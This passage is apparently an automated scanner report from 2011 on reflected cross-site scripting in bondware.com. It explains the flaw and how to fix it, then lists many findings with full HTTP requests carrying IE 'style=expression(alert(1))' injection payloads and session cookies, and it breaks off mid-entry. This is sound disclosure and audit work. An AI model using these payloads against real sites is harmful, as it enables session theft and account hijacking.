Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c22ef"style%3d"x%3aexpression(alert(1))"cf365e73792 was submitted in the REST URL parameter 1. This input was echoed as c22ef"style="x:expression(alert(1))"cf365e73792 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /ajaxc22ef"style%3d"x%3aexpression(alert(1))"cf365e73792/slideshow.php?SID=5t8et8bl51i4lld7qvb1ukor70&s=66&l=5&r=0.1942067485443014 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:42 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21477
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 526ce"style%3d"x%3aexpression(alert(1))"a8c0397e015 was submitted in the REST URL parameter 2. This input was echoed as 526ce"style="x:expression(alert(1))"a8c0397e015 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /ajax/slideshow.php526ce"style%3d"x%3aexpression(alert(1))"a8c0397e015?SID=5t8et8bl51i4lld7qvb1ukor70&s=66&l=5&r=0.1942067485443014 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:46 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21418
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea18e"style%3d"x%3aexpression(alert(1))"4108c399b0e was submitted in the REST URL parameter 1. This input was echoed as ea18e"style="x:expression(alert(1))"4108c399b0e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /favicon.icoea18e"style%3d"x%3aexpression(alert(1))"4108c399b0e HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmb=200775741; __utmc=200775741; __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:35:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21340
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56c78"style%3d"x%3aexpression(alert(1))"6174165a9a was submitted in the REST URL parameter 1. This input was echoed as 56c78"style="x:expression(alert(1))"6174165a9a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /helpvideos.php56c78"style%3d"x%3aexpression(alert(1))"6174165a9a HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:04:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21287
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad334"style%3d"x%3aexpression(alert(1))"9a7edf53fdb was submitted in the REST URL parameter 1. This input was echoed as ad334"style="x:expression(alert(1))"9a7edf53fdb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /imagesad334"style%3d"x%3aexpression(alert(1))"9a7edf53fdb/spacer.gif HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/online-magazine-website-software-cms-253 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmb=200775741; __utmc=200775741; __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:50 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21322
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4ab6"style%3d"x%3aexpression(alert(1))"01fd2277e21 was submitted in the REST URL parameter 2. This input was echoed as e4ab6"style="x:expression(alert(1))"01fd2277e21 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /images/spacer.gife4ab6"style%3d"x%3aexpression(alert(1))"01fd2277e21 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/online-magazine-website-software-cms-253 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmb=200775741; __utmc=200775741; __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21325
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
1.7. http://bondware.com/images/spacer.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://bondware.com
Path:
/images/spacer.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c902"style%3d"x%3aexpression(alert(1))"fa57ee66fa6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1c902"style="x:expression(alert(1))"fa57ee66fa6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /images/spacer.gif?1c902"style%3d"x%3aexpression(alert(1))"fa57ee66fa6=1 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/online-magazine-website-software-cms-253 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmb=200775741; __utmc=200775741; __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21296
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1ad7"style%3d"x%3aexpression(alert(1))"1f5feb7220c was submitted in the REST URL parameter 1. This input was echoed as b1ad7"style="x:expression(alert(1))"1f5feb7220c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /index.phpb1ad7"style%3d"x%3aexpression(alert(1))"1f5feb7220c HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:03:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21298
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f839e"style%3d"x%3aexpression(alert(1))"74444ec0f65 was submitted in the REST URL parameter 1. This input was echoed as f839e"style="x:expression(alert(1))"74444ec0f65 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascriptf839e"style%3d"x%3aexpression(alert(1))"74444ec0f65/class.bwAjax.js?b=20090520 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21351
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eab97"style%3d"x%3aexpression(alert(1))"fb4fbbb0145 was submitted in the REST URL parameter 2. This input was echoed as eab97"style="x:expression(alert(1))"fb4fbbb0145 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascript/class.bwAjax.jseab97"style%3d"x%3aexpression(alert(1))"fb4fbbb0145?b=20090520 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21375
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67a88"style%3d"x%3aexpression(alert(1))"0c3ecd3f9b0 was submitted in the REST URL parameter 1. This input was echoed as 67a88"style="x:expression(alert(1))"0c3ecd3f9b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascript67a88"style%3d"x%3aexpression(alert(1))"0c3ecd3f9b0/jquery_1.4.2.js?b=20100505 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:38 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21374
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91ac0"style%3d"x%3aexpression(alert(1))"59ef57cf672 was submitted in the REST URL parameter 2. This input was echoed as 91ac0"style="x:expression(alert(1))"59ef57cf672 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascript/jquery_1.4.2.js91ac0"style%3d"x%3aexpression(alert(1))"59ef57cf672?b=20100505 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:42 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21343
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ecd4"style%3d"x%3aexpression(alert(1))"e93f695f707 was submitted in the REST URL parameter 1. This input was echoed as 9ecd4"style="x:expression(alert(1))"e93f695f707 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascript9ecd4"style%3d"x%3aexpression(alert(1))"e93f695f707/php.js?b=20090520 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21335
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d73ca"style%3d"x%3aexpression(alert(1))"a1e8acb4be was submitted in the REST URL parameter 2. This input was echoed as d73ca"style="x:expression(alert(1))"a1e8acb4be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascript/php.jsd73ca"style%3d"x%3aexpression(alert(1))"a1e8acb4be?b=20090520 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:41 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21325
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf702"style%3d"x%3aexpression(alert(1))"c6df2891d94 was submitted in the REST URL parameter 1. This input was echoed as cf702"style="x:expression(alert(1))"c6df2891d94 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascriptcf702"style%3d"x%3aexpression(alert(1))"c6df2891d94/slideshow.js?b=20090520 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:40 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21320
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1057c"style%3d"x%3aexpression(alert(1))"0cebbd1964b was submitted in the REST URL parameter 2. This input was echoed as 1057c"style="x:expression(alert(1))"0cebbd1964b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /javascript/slideshow.js1057c"style%3d"x%3aexpression(alert(1))"0cebbd1964b?b=20090520 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:47 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21343
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b8f4"style%3d"x%3aexpression(alert(1))"cf83851c04 was submitted in the REST URL parameter 1. This input was echoed as 5b8f4"style="x:expression(alert(1))"cf83851c04 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /login.php5b8f4"style%3d"x%3aexpression(alert(1))"cf83851c04 HTTP/1.1 Host: bondware.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=200775741.1300296714.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); PHPSESSID=5t8et8bl51i4lld7qvb1ukor70; __utma=200775741.175725354.1300296714.1300296714.1300296714.1; __utmc=200775741; __utmb=200775741;
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 18:03:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21270
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6836"style%3d"x%3aexpression(alert(1))"9de46a5e1e was submitted in the REST URL parameter 1. This input was echoed as b6836"style="x:expression(alert(1))"9de46a5e1e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /main.cssb6836"style%3d"x%3aexpression(alert(1))"9de46a5e1e?b=1293014263 HTTP/1.1 Host: bondware.com Proxy-Connection: keep-alive Referer: http://bondware.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=5t8et8bl51i4lld7qvb1ukor70
Response
HTTP/1.1 404 Not Found Date: Wed, 16 Mar 2011 17:34:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Content-Type: text/html; charset=UTF-8 Content-Length: 21364
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html>
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b81ba"style%3d"x%3aexpression(alert(1))"804f2c98f82 was submitted in the REST URL parameter 1. This input was echoed as b81ba"style="x:expression(alert(1))"804f2c98f82 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
